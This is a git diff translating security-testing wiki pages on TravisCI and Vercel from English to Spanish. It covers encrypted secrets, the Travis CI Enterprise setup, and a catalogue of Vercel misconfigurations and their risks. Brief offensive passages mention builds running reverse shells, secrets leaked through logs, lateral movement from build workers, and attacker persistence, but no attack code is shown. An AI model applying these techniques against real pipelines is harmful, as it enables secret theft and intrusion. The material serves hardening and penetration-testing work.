+- Ejemplo de construcción con shell reverso ejecutándose en Windows/Mac/Linux
+- Ejemplo de construcción filtrando la env codificada en base64 en los logs
### TravisCI Enterprise
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+Si un atacante termina en un entorno que utiliza **TravisCI enterprise** (más información sobre qué es esto en la [**información básica**](basic-travisci-information.md#travisci-enterprise)), podrá **disparar construcciones en el Worker.** Esto significa que un atacante podrá moverse lateralmente a ese servidor desde el cual podría ser capaz de:
-- escape to the host?
-- compromise kubernetes?
-- compromise other machines running in the same network?
-- compromise new cloud credentials?
+- ¿escapar al host?
+- ¿comprometer kubernetes?
+- ¿comprometer otras máquinas que se ejecutan en la misma red?
+- ¿comprometer nuevas credenciales en la nube?
-## References
+## Referencias
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 46b10bf38..0a8bbe55a 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,48 +1,45 @@
-# Basic TravisCI Information
+# Información Básica de TravisCI
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Acceso
-TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
+TravisCI se integra directamente con diferentes plataformas de git como Github, Bitbucket, Assembla y Gitlab. Pedirá al usuario que le otorgue a TravisCI permisos para acceder a los repos que desea integrar con TravisCI.
-For example, in Github it will ask for the following permissions:
+Por ejemplo, en Github pedirá los siguientes permisos:
-- `user:email` (read-only)
-- `read:org` (read-only)
-- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email` (solo lectura)
+- `read:org` (solo lectura)
+- `repo`: Concede acceso de lectura y escritura al código, estados de confirmación, colaboradores y estados de implementación para repositorios y organizaciones públicas y privadas.
-## Encrypted Secrets
+## Secretos Encriptados
-### Environment Variables
+### Variables de Entorno
-In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
+En TravisCI, al igual que en otras plataformas de CI, es posible **guardar secretos a nivel de repositorio** que se guardarán encriptados y serán **desencriptados y enviados en la variable de entorno** de la máquina que ejecuta la construcción.
.png>)
-It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
+Es posible indicar las **ramas a las que los secretos estarán disponibles** (por defecto todas) y también si TravisCI **debería ocultar su valor** si aparece **en los registros** (por defecto lo hará).
-### Custom Encrypted Secrets
+### Secretos Encriptados Personalizados
-For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
-
-You can access the public key of one repo with:
+Para **cada repositorio**, TravisCI genera un **par de claves RSA**, **mantiene** la **privada**, y hace disponible la **clave pública** del repositorio a aquellos que tienen **acceso** al repositorio.
+Puedes acceder a la clave pública de un repositorio con:
```
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-
-Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
+Luego, puedes usar esta configuración para **encriptar secretos y agregarlos a tu `.travis.yaml`**. Los secretos serán **desencriptados cuando se ejecute la construcción** y accesibles en las **variables de entorno**.
.png>)
-Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
+Ten en cuenta que los secretos encriptados de esta manera no aparecerán listados en las variables de entorno de la configuración.
-### Custom Encrypted Files
-
-Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
+### Archivos Encriptados Personalizados
+De la misma manera que antes, TravisCI también permite **encriptar archivos y luego desencriptarlos durante la construcción**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
- openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
+openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+Note que al encriptar un archivo, se configurarán 2 variables de entorno dentro del repositorio, tales como:
.png>)
## TravisCI Enterprise
-Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
+Travis CI Enterprise es una **versión on-prem de Travis CI**, que puedes desplegar **en tu infraestructura**. Piensa en la versión ‘servidor’ de Travis CI. Usar Travis CI te permite habilitar un sistema de Integración Continua/Despliegue Continuo (CI/CD) fácil de usar en un entorno, que puedes configurar y asegurar como desees.
-**Travis CI Enterprise consists of two major parts:**
+**Travis CI Enterprise consta de dos partes principales:**
-1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
-2. TCI **Worker** and build environment images (also called OS images).
+1. Servicios TCI **(o Servicios Centrales TCI)**, responsables de la integración con sistemas de control de versiones, autorización de compilaciones, programación de trabajos de compilación, etc.
+2. TCI **Worker** e imágenes de entorno de compilación (también llamadas imágenes de SO).
-**TCI Core services require the following:**
+**Los servicios centrales TCI requieren lo siguiente:**
-1. A **PostgreSQL11** (or later) database.
-2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
-3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
+1. Una base de datos **PostgreSQL11** (o posterior).
+2. Una infraestructura para desplegar un clúster de Kubernetes; puede ser desplegado en un clúster de servidores o en una sola máquina si es necesario.
+3. Dependiendo de tu configuración, es posible que desees desplegar y configurar algunos de los componentes por tu cuenta, por ejemplo, RabbitMQ - consulta la [Configuración de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para más detalles.
-**TCI Worker requires the following:**
+**El Worker TCI requiere lo siguiente:**
-1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
-2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
+1. Una infraestructura donde se pueda desplegar una imagen de docker que contenga el **Worker y una imagen de compilación vinculada**.
+2. Conectividad a ciertos componentes de los Servicios Centrales de Travis CI - consulta la [Configuración del Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para más detalles.
-The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
+La cantidad de imágenes de OS de Worker TCI y de entorno de compilación desplegadas determinará la capacidad total concurrente del despliegue de Travis CI Enterprise en tu infraestructura.
.png>)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 16dc93da7..73fe7f0c6 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,440 +2,436 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+En Vercel, un **Equipo** es el **entorno** completo que pertenece a un cliente y un **proyecto** es una **aplicación**.
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuario con **permiso de rol de Visualizador** o al menos **permiso de visualizador de proyecto sobre los proyectos** para verificar (en caso de que solo necesites revisar los proyectos y no la configuración del Equipo también).
-## Project Settings
+## Configuraciones del Proyecto
### General
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+**Propósito:** Administrar configuraciones fundamentales del proyecto, como el nombre del proyecto, el marco y las configuraciones de construcción.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Transfer**
- - **Misconfiguration:** Allows to transfer the project to another team
- - **Risk:** An attacker could steal the project
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the project
- - **Risk:** Delete the prject
+- **Transferencia**
+- **Mala Configuración:** Permite transferir el proyecto a otro equipo
+- **Riesgo:** Un atacante podría robar el proyecto
+- **Eliminar Proyecto**
+- **Mala Configuración:** Permite eliminar el proyecto
+- **Riesgo:** Eliminar el proyecto
---
-### Domains
+### Dominios
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+**Propósito:** Administrar dominios personalizados, configuraciones de DNS y configuraciones de SSL.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **DNS Configuration Errors**
- - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-- **SSL/TLS Certificate Management**
- - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-- **DNSSEC Implementation**
- - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-- **Environment used per domain**
- - **Misconfiguration:** Change the environment used by the domain in production.
- - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+- **Errores de Configuración de DNS**
+- **Mala Configuración:** Registros DNS incorrectos (A, CNAME) apuntando a servidores maliciosos.
+- **Riesgo:** Secuestro de dominio, interceptación de tráfico y ataques de phishing.
+- **Gestión de Certificados SSL/TLS**
+- **Mala Configuración:** Uso de certificados SSL/TLS débiles o caducados.
+- **Riesgo:** Vulnerable a ataques de hombre en el medio (MITM), comprometiendo la integridad y confidencialidad de los datos.
+- **Implementación de DNSSEC**
+- **Mala Configuración:** No habilitar DNSSEC o configuraciones incorrectas de DNSSEC.
+- **Riesgo:** Mayor susceptibilidad a ataques de suplantación de DNS y envenenamiento de caché.
+- **Entorno utilizado por dominio**
+- **Mala Configuración:** Cambiar el entorno utilizado por el dominio en producción.
+- **Riesgo:** Exponer secretos o funcionalidades potenciales que no deberían estar disponibles en producción.
---
-### Environments
+### Entornos
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+**Propósito:** Definir diferentes entornos (Desarrollo, Vista previa, Producción) con configuraciones y variables específicas.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Environment Isolation**
- - **Misconfiguration:** Sharing environment variables across environments.
- - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-- **Access to Sensitive Environments**
- - **Misconfiguration:** Allowing broad access to production environments.
- - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+- **Aislamiento de Entorno**
+- **Mala Configuración:** Compartir variables de entorno entre entornos.
+- **Riesgo:** Filtración de secretos de producción en entornos de desarrollo o vista previa, aumentando la exposición.
+- **Acceso a Entornos Sensibles**
+- **Mala Configuración:** Permitir un acceso amplio a entornos de producción.
+- **Riesgo:** Cambios no autorizados o acceso a aplicaciones en vivo, lo que puede llevar a tiempos de inactividad o filtraciones de datos.
---
-### Environment Variables
+### Variables de Entorno
-**Purpose:** Manage environment-specific variables and secrets used by the application.
+**Propósito:** Administrar variables y secretos específicos del entorno utilizados por la aplicación.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-- **Shared Environment Variables**
- - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Exposición de Variables Sensibles**
+- **Mala Configuración:** Prefijar variables sensibles con `NEXT_PUBLIC_`, haciéndolas accesibles en el lado del cliente.
+- **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos.
+- **Sensibles deshabilitados**
+- **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados.
+- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible.
+- **Variables de Entorno Compartidas**
+- **Mala Configuración:** Estas son variables de entorno establecidas a nivel de Equipo y también podrían contener información sensible.
+- **Riesgo:** Mayor probabilidad de exposición accidental o acceso no autorizado a información sensible.
---
### Git
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+**Propósito:** Configurar integraciones de repositorios de Git, protecciones de ramas y desencadenadores de implementación.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Ignored Build Step (TODO)**
- - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- - **Risk:** TBD
+- **Paso de Construcción Ignorado (TODO)**
+- **Mala Configuración:** Parece que esta opción permite configurar un script/commandos bash que se ejecutará cuando se empuje un nuevo commit en Github, lo que podría permitir RCE.
+- **Riesgo:** TBD
---
-### Integrations
+### Integraciones
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
+**Propósito:** Conectar servicios y herramientas de terceros para mejorar las funcionalidades del proyecto.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Insecure Third-Party Integrations**
- - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-- **Over-Permissioned Integrations**
- - **Misconfiguration:** Granting excessive permissions to integrated services.
- - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-- **Lack of Integration Monitoring**
- - **Misconfiguration:** Failing to monitor and audit third-party integrations.
- - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+- **Integraciones de Terceros Inseguras**
+- **Mala Configuración:** Integrarse con servicios de terceros no confiables o inseguros.
+- **Riesgo:** Introducción de vulnerabilidades, filtraciones de datos o puertas traseras a través de integraciones comprometidas.
+- **Integraciones con Permisos Excesivos**
+- **Mala Configuración:** Conceder permisos excesivos a servicios integrados.
+- **Riesgo:** Acceso no autorizado a recursos del proyecto, manipulación de datos o interrupciones del servicio.
+- **Falta de Monitoreo de Integraciones**
+- **Mala Configuración:** No monitorear y auditar integraciones de terceros.
+- **Riesgo:** Detección tardía de integraciones comprometidas, aumentando el impacto potencial de las brechas de seguridad.
---
-### Deployment Protection
+### Protección de Implementación
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+**Propósito:** Asegurar implementaciones a través de varios mecanismos de protección, controlando quién puede acceder y desplegar en tus entornos.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-**Vercel Authentication**
+**Autenticación de Vercel**
-- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+- **Mala Configuración:** Deshabilitar la autenticación o no hacer cumplir las verificaciones de miembros del equipo.
+- **Riesgo:** Usuarios no autorizados pueden acceder a implementaciones, lo que lleva a filtraciones de datos o mal uso de la aplicación.
-**Protection Bypass for Automation**
+**Bypass de Protección para Automatización**
-- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+- **Mala Configuración:** Exponer el secreto de bypass públicamente o usar secretos débiles.
+- **Riesgo:** Los atacantes pueden eludir las protecciones de implementación, accediendo y manipulando implementaciones protegidas.
-**Shareable Links**
+**Enlaces Compartibles**
-- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+- **Mala Configuración:** Compartir enlaces indiscriminadamente o no revocar enlaces obsoletos.
+- **Riesgo:** Acceso no autorizado a implementaciones protegidas, eludiendo autenticación y restricciones de IP.
-**OPTIONS Allowlist**
+**Opciones de Lista Blanca**
-- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+- **Mala Configuración:** Permitir rutas o puntos finales demasiado amplios en la lista blanca.
+- **Riesgo:** Los atacantes pueden explotar rutas no protegidas para realizar acciones no autorizadas o eludir verificaciones de seguridad.
-**Password Protection**
+**Protección por Contraseña**
-- **Misconfiguration:** Using weak passwords or sharing them insecurely.
-- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Mala Configuración:** Usar contraseñas débiles o compartirlas de manera insegura.
+- **Riesgo:** Acceso no autorizado a implementaciones si las contraseñas son adivinadas o filtradas.
+- **Nota:** Disponible en el plan **Pro** como parte de **Protección Avanzada de Implementación** por un adicional de $150/mes.
-**Deployment Protection Exceptions**
+**Excepciones de Protección de Implementación**
-- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Mala Configuración:** Agregar dominios de producción o sensibles a la lista de excepciones inadvertidamente.
+- **Riesgo:** Exposición de implementaciones críticas al público, lo que lleva a filtraciones de datos o acceso no autorizado.
+- **Nota:** Disponible en el plan **Pro** como parte de **Protección Avanzada de Implementación** por un adicional de $150/mes.
-**Trusted IPs**
+**IPs de Confianza**
-- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-- **Note:** Available on the **Enterprise** plan.
+- **Mala Configuración:** Especificar incorrectamente direcciones IP o rangos CIDR.
+- **Riesgo:** Usuarios legítimos siendo bloqueados o IPs no autorizadas ganando acceso.
+- **Nota:** Disponible en el plan **Enterprise**.
---
-### Functions
+### Funciones
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+**Propósito:** Configurar funciones sin servidor, incluyendo configuraciones de tiempo de ejecución, asignación de memoria y políticas de seguridad.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Nothing**
+- **Nada**
---
-### Data Cache
+### Caché de Datos
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+**Propósito:** Administrar estrategias y configuraciones de caché para optimizar el rendimiento y controlar el almacenamiento de datos.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Purge Cache**
- - **Misconfiguration:** It allows to delete all the cache.
- - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+- **Purgar Caché**
+- **Mala Configuración:** Permite eliminar toda la caché.
+- **Riesgo:** Usuarios no autorizados eliminando la caché, lo que lleva a un potencial DoS.
---
-### Cron Jobs
+### Tareas Programadas
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+**Propósito:** Programar tareas y scripts automatizados para que se ejecuten en intervalos especificados.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Disable Cron Job**
- - **Misconfiguration:** It allows to disable cron jobs declared inside the code
- - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+- **Deshabilitar Tarea Programada**
+- **Mala Configuración:** Permite deshabilitar tareas programadas declaradas dentro del código
+- **Riesgo:** Interrupción potencial del servicio (dependiendo de para qué estaban destinadas las tareas programadas)
---
-### Log Drains
+### Drenajes de Registro
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+**Propósito:** Configurar servicios de registro externos para capturar y almacenar registros de aplicaciones para monitoreo y auditoría.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- Nothing (managed from teams settings)
+- Nada (gestionado desde la configuración de equipos)
---
-### Security
+### Seguridad
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+**Propósito:** Centro central para varias configuraciones relacionadas con la seguridad que afectan el acceso al proyecto, la protección de la fuente y más.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-**Build Logs and Source Protection**
+**Registros de Construcción y Protección de Fuente**
-- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+- **Mala Configuración:** Deshabilitar la protección o exponer públicamente las rutas `/logs` y `/src`.
+- **Riesgo:** Acceso no autorizado a registros de construcción y código fuente, lo que lleva a filtraciones de información y posible explotación de vulnerabilidades.
-**Git Fork Protection**
+**Protección de Fork de Git**
-- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+- **Mala Configuración:** Permitir solicitudes de extracción no autorizadas sin revisiones adecuadas.
+- **Riesgo:** Código malicioso puede ser fusionado en la base de código, introduciendo vulnerabilidades o puertas traseras.
-**Secure Backend Access with OIDC Federation**
+**Acceso Seguro al Backend con Federación OIDC**
-- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+- **Mala Configuración:** Configurar incorrectamente los parámetros de OIDC o usar URLs de emisor inseguras.
+- **Riesgo:** Acceso no autorizado a servicios de backend a través de flujos de autenticación defectuosos.
-**Deployment Retention Policy**
+**Política de Retención de Implementaciones**
-- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+- **Mala Configuración:** Establecer períodos de retención demasiado cortos (perdiendo el historial de implementaciones) o demasiado largos (retención innecesaria de datos).
+- **Riesgo:** Incapacidad para realizar retrocesos cuando sea necesario o mayor riesgo de exposición de datos de implementaciones antiguas.
-**Recently Deleted Deployments**
+**Implementaciones Recientemente Eliminadas**
-- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+- **Mala Configuración:** No monitorear implementaciones eliminadas o depender únicamente de eliminaciones automatizadas.
+- **Riesgo:** Pérdida de historial crítico de implementaciones, dificultando auditorías y retrocesos.
---
-### Advanced
+### Avanzado
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+**Propósito:** Acceso a configuraciones adicionales del proyecto para ajustar configuraciones y mejorar la seguridad.
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-**Directory Listing**
+**Listado de Directorios**
-- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+- **Mala Configuración:** Habilitar el listado de directorios permite a los usuarios ver el contenido del directorio sin un archivo de índice.
+- **Riesgo:** Exposición de archivos sensibles, estructura de la aplicación y posibles puntos de entrada para ataques.
---
-## Project Firewall
+## Cortafuegos del Proyecto
-### Firewall
+### Cortafuegos
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-**Enable Attack Challenge Mode**
+**Habilitar Modo de Desafío de Ataque**
-- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-- **Risk:** Potential user experience problems.
+- **Mala Configuración:** Habilitar esto mejora las defensas de la aplicación web contra DoS, pero a costa de la usabilidad
+- **Riesgo:** Problemas potenciales de experiencia del usuario.
-### Custom Rules & IP Blocking
+### Reglas Personalizadas y Bloqueo de IP
-- **Misconfiguration:** Allows to unblock/block traffic
-- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+- **Mala Configuración:** Permite desbloquear/bloquear tráfico
+- **Riesgo:** Potencial DoS permitiendo tráfico malicioso o bloqueando tráfico benigno
---
-## Project Deployment
+## Implementación del Proyecto
-### Source
+### Fuente
-- **Misconfiguration:** Allows access to read the complete source code of the application
-- **Risk:** Potential exposure of sensitive information
+- **Mala Configuración:** Permite acceso para leer el código fuente completo de la aplicación
+- **Riesgo:** Exposición potencial de información sensible
-### Skew Protection
+### Protección contra Desviaciones
-- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+- **Mala Configuración:** Esta protección asegura que la aplicación del cliente y del servidor siempre estén usando la misma versión, por lo que no hay desincronizaciones donde el cliente usa una versión diferente de la del servidor y, por lo tanto, no se entienden entre sí.
+- **Riesgo:** Deshabilitar esto (si está habilitado) podría causar problemas de DoS en nuevas implementaciones en el futuro
---
-## Team Settings
+## Configuraciones del Equipo
### General
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Transfer**
- - **Misconfiguration:** Allows to transfer all the projects to another team
- - **Risk:** An attacker could steal the projects
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the team with all the projects
- - **Risk:** Delete the projects
+- **Transferencia**
+- **Mala Configuración:** Permite transferir todos los proyectos a otro equipo
+- **Riesgo:** Un atacante podría robar los proyectos
+- **Eliminar Proyecto**
+- **Mala Configuración:** Permite eliminar el equipo con todos los proyectos
+- **Riesgo:** Eliminar los proyectos
---
-### Billing
+### Facturación
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Speed Insights Cost Limit**
- - **Misconfiguration:** An attacker could increase this number
- - **Risk:** Increased costs
+- **Límite de Costo de Speed Insights**
+- **Mala Configuración:** Un atacante podría aumentar este número
+- **Riesgo:** Aumento de costos
---
-### Members
+### Miembros
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Add members**
- - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- - **Risk:** Attacker persistence
+- **Agregar miembros**
+- **Mala Configuración:** Un atacante podría mantener persistencia invitando a una cuenta que controla
+- **Riesgo:** Persistencia del atacante
- **Roles**
- - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- - **Risk**: Increate the exposure of the Vercel Team
+- **Mala Configuración:** Conceder demasiados permisos a personas que no los necesitan aumenta el riesgo de la configuración de Vercel. Verifica todos los roles posibles en [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Riesgo**: Aumentar la exposición del Equipo de Vercel
---
-### Access Groups
+### Grupos de Acceso
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+Un **Grupo de Acceso** en Vercel es una colección de proyectos y miembros del equipo con asignaciones de roles predefinidas, lo que permite una gestión de acceso centralizada y simplificada a través de múltiples proyectos.
-**Potential Misconfigurations:**
+**Posibles Mala Configuraciones:**
-- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+- **Sobre-Permisos a Miembros:** Asignar roles con más permisos de los necesarios, lo que lleva a acceso o acciones no autorizadas.
+- **Asignaciones de Rol Incorrectas:** Asignar incorrectamente roles que no se alinean con las responsabilidades de los miembros del equipo, causando escalada de privilegios.
+- **Falta de Segregación de Proyectos:** No separar proyectos sensibles, permitiendo un acceso más amplio del que se pretendía.
+- **Gestión Insuficiente de Grupos:** No revisar o actualizar regularmente los Grupos de Acceso, resultando en permisos de acceso obsoletos o inapropiados.
+- **Definiciones de Rol Inconsistentes:** Usar definiciones de rol inconsistentes o poco claras en diferentes Grupos de Acceso, llevando a confusión y brechas de seguridad.
---
-### Log Drains
+### Drenajes de Registro
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Log Drains to third parties:**
- - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- - **Risk:** Partial persistence
+- **Drenajes de Registro a terceros:**
+- **Mala Configuración:** Un atacante podría configurar un Drenaje de Registro para robar los registros
+- **Riesgo:** Persistencia parcial
---
-### Security & Privacy
+### Seguridad y Privacidad
-#### Security Configurations:
+#### Configuraciones de Seguridad:
-- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- - **Misconfiguration:**
- - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- - **Risks:**
- - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
